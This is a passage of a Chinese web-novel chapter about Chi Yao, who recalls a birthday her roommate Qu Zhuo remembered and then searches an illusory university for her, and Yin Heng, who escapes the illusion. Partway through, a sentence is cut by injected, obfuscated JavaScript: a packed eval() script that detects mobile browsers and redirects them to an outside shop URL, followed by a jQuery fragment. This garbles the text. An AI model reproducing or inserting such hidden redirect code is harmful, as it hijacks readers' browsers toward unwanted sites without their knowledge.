池遥的生日卡在了一个尴尬的期限,总是和各种专业课的期末考试,作业提交日撞车,她自己在生日当天都忙得晕头转向,更别提为自己庆生了。
进入北城大学后的第一个生日那天。
池遥写期末要提交的论文作业肝到早上六点,总算完成,按下提交键,晕晕沉沉进入梦乡。
“生日快乐!”
没过几个小时,就被窗外的动静吵醒。
池遥的床位靠窗,迷迷糊糊地睁开眼,一看手机,才早上九点钟,就翻了个身,掀起窗帘的一角朝着窗外看。
女生宿舍楼下,三个陌生女孩围着她们的舍友,大声喊出各自的祝福。
被围在正中间的女生尴尬地低着脑袋,躲避路人循声看来的视线,局促地红透了耳朵。
池遥悄悄缩回脑袋,像只骤然见了光,反而不适应的老鼠般仓皇回到黑暗的床帘中。
脑袋重新挨到了枕头上,浓重的睡意摧残着每一根神经,可另有一股难以描述的酸涩感,从心底漫了上来,如鲠在喉,让她一直无法入睡。
窗外的吵闹声和笑声愈发刺耳,池遥听见孟然的翻身声,然后对方小声抱怨了一句。
“谁啊......大清早的这么扰民......”
池遥浑身僵硬地平躺在床上,一动不敢动。
她今天又长了一岁,而且还完成了最后一项专业课的作业,之后只剩下周的期末考试,已经做得很好了。
睡觉前的轻松惬意一扫而空,她只觉得心底沉甸甸的,仿佛压了什么东西,压得自己好难受,几乎要控制不住地流出眼泪来了。
可是,是她一直没有和舍友们提过自己今天过生日的。
她在这儿委屈什么呢?
心中无数想法分散成几道声音,在脑子里自顾自地吵嚷起来。
怀着这样复杂的心情,池遥再次从床上醒来时,宿舍里只剩下了她和曲卓。
赵一宁和孟然的专业和池遥曲卓不一样,有其他作业要做,已经提前出发去图书馆了。
而曲卓的论文作业只剩下一个结尾,干脆在宿舍里进行收尾工作。
见池遥从床帘里探出头来,曲卓抬头看她。
“池遥,你是今天过生日吗?”
池遥一愣。
最近这段时间,大家都忙着各自的学业,池遥从未提过自己生日的事,曲卓是怎么知道的?
“啊......对。”
她哑口无言,呆愣地点点头。
“那我跟然然和小宁说一声,晚上等她们从图书馆回来,我们三个请你吃饭,给你庆生。”
说着,曲卓掏出手机,开始在宿舍群里给其他两位舍友发消息。
池遥刚睡醒,睡成一片浆糊的脑子还没处理好现在的状况,呆呆地掏出手机,盯着宿舍群里不停跳出的信息图标发呆。
“OK了,五点半去图书馆门口和她们汇合。你想吃点什么?冰糖肘子?”
曲卓的声音把她的意识拉回现实。
“哦,可以的......你为什么知道我今天过生日,我之前说过吗?”
池遥忍不住开口问道。
她换好衣服,从床上爬下来,来到了曲卓的面前。
“你是没说过,不过......”
曲卓将她的手机屏幕递到了池遥面前。
屏幕上是池遥熟悉的某个视频APP,池遥和曲卓的账号互相关注,一刷到有趣的内容就分享给对方。
而此时,通知框中显示了一行小字。
——提醒您,您有好友今天过生日。
紧接着,曲卓打开她的好友列表,一众用户名之中,只有池遥的用户名后面带上了一个相当明显的蛋糕标志。
“还有这种功能啊......”
她忍不住感叹了一句。
“这个是要手动设置的,你要在这里把生日提醒打开才会有......”
曲卓手把手教她设置新功能。
总之,那一天的生日,在曲卓的帮助下,池遥过得非常幸福。
——
池遥坐在宿舍里,忍不住开始回忆起自己与曲卓相处的每个瞬间。
她已经追逐着曲卓的背影,连续来到了两个世界,可是......
曲卓究竟在什么地方?
她不知道,也无从找起。
连在大学时代的幻影里也无法搜寻到曲卓的踪迹。
“我出去一趟。”
这么想着,池遥再也坐不住了,和赵一宁和孟然二人说一声,再次离开宿舍。
一切都和记忆中的北城大学毫无差异。
她走过了每一所教学楼,推开了每一扇门。
空荡荡的教室里没有曲卓的影子。
正在上课的教室内,讲台上的教授蹙起眉,用目光谴责她,座位上的学生们好奇地打量门口突然出现的人,而池遥只快速浏览一遍,没见到池遥的身影,就关门离开。
办公室内也没有曲卓的踪迹。
曲卓常去的图书馆,常去的自习室,最喜欢的奶茶店,都没有她本人的身影。
日升月落。
记忆里,曲卓性格开朗外向,除了池遥之外,还有不少朋友。
池遥一个个找到他们,询问曲卓的去向。
可惜,得到的答案毫无新意,这些人也忘记了曲卓的存在。
宿舍楼的每一层,偌大的食堂空间,校外一条街......
还有无数地方需要她去确认。
时间如白驹过隙。
渐渐地,时间变成了最不值钱的概念。
她不停奔波于每一处角落,每一个缝隙,恨不得把整个北城大学翻个底朝天。
幻境中,她无论奔跑多久都不会感到疲累,也不会产生睡意。
她也不敢在这片幻境中睡去。
生怕自己一不注意,就离开了这片幻境。
只是,精神上的疲惫却不可避免。
曲卓到底在哪儿?
她真的会在这里吗?
有时候,她会无法控制地产生放弃的想法。
可是......
万一曲卓真的在这片幻境里,如果她错过了,就真的再也找不到曲卓了。
想到这里,她不敢停下脚步,继续朝着下一个方向奔波。
日复一日。
年复一年。
很快,池遥意识到了一件事。
仅仅凭借自己一个人的力量,还是太渺小了。
自己已经成为能力者了,如果以能力者的方式来寻找,会不会更快?
想到这里,她闭上眼睛。
一瞬间,自她的眉心缓缓伸展出一条透明的精神力细丝。
走过了这么多画中世界,她的体力早已濒临极限,已经无法支撑自己继续使用精神力,但池遥还是义无反顾地发动自己的精神力细丝。
一瞬间,铺天盖地的痛苦集中在脑部,仿佛整片
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17389887|177659||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
神经被一股巨力撕扯开。
池遥忽略脑中警钟般的痛苦,将所有注意力都集中在精神力细丝之中。
细丝探入大地,生出无数分支,在土壤中游走。
沿着教学楼墙壁缓缓攀升,聆听学生们的声音。
攀上校园里的行道树,嗅闻叶片顶端的草木香气。
不知过了多久。
池遥只能感受到,自己的全部意识与精神力细丝融为一体,她能看到精神力细丝看到的一切,与这条细细的丝线体验相同的感受,聆听同样的身体。
无人注意,她还站在原地的身体越来越模糊,逐渐变得透明。
最后,在体力彻底耗尽时,彻底粉碎。
与此同时,眼前一黑。
她的精神力细丝,断了。
——
眼前的一些悉数崩塌破碎。
殷蘅闭上眼,深深地吸了一口气。
终于粉碎了眼前的幻境。
果然,再一次睁开眼时,周围的场景已经变了。头顶的天色漆黑,连带着周围的景物也陷入一片黑暗之中。
等待几秒,视线逐渐适应了黑暗之后,殷蘅看向周围。
他坐在一艘破旧的小帆船之上,身边还躺着一个熟悉的人。
“池遥?”
他艰难地撑起身体,轻轻叫了一声身边人的名字。
池遥一动不动,双眼紧闭,神态安详,毫无反应。
殷蘅抬手轻轻探向她的口鼻处,感受到了平缓的呼吸,才在心中松了口气。
看来,池遥还被困在幻境里,没有醒来。
浑身发软,没有力气,刚刚在幻境中健康的身体才真的是全然虚假的吧。
想到自己经历的环境内容,殷蘅在心中叹了口气。
离开幻境后,重新回想起自己经历的一切,站在旁观者的视角上,他才渐渐地明白了这一个画中世界的规则。
每一个陷入湖中的旅人,都会经历一场幻境。
在幻境中,会经历心底最深的恐惧。
只是每个人所恐惧之物是不同的。
有些人会被自己的恐惧困住,或者反复确认其真实性,譬如池遥。
也有人在看到自己所恐惧的事物之时,就已经意识到,眼前的一切并非真实,而是虚构的幻境,因为自己恐惧的事物是不可能出现在现实中的。
譬如殷蘅。
而此时,殷蘅躺在池遥身边,一只手轻轻贴在了池遥的手上。
即便陷入梦境,池遥的躯体依旧散发着热度。
殷蘅收回四散的思绪,回想起刚来到这个画中世界的事。
刚来到这里,他就坠入了湖里,但他记得自己坠湖前曾观察过周边的环境,与此时自己和池遥所在的空间是完全不同的。
思及此处,心神一动,一个浑身漆黑的影子自他体内分离,一手一个,扛起了殷蘅和池遥二人,纵身跳入湖水之中。
果然,再次跳入湖水中,下一秒,周围的景物出现了片刻的扭曲,等到景物重构,他们已经回到了最初见过的,那只没有帆的小船上。
看来,在这个画中世界中,湖底与湖面是对称的两个位面,从湖底的位面再次跳下湖,反而会来到最初的湖面之上。
殷蘅松了口气,驱使漆黑的灵魂将他和池遥平放在小船上,收回黑影,再度看向身旁的池遥。
然而,眼前的池遥面色发青,神色痛苦,呼吸微弱。
她的生命力在快速流逝。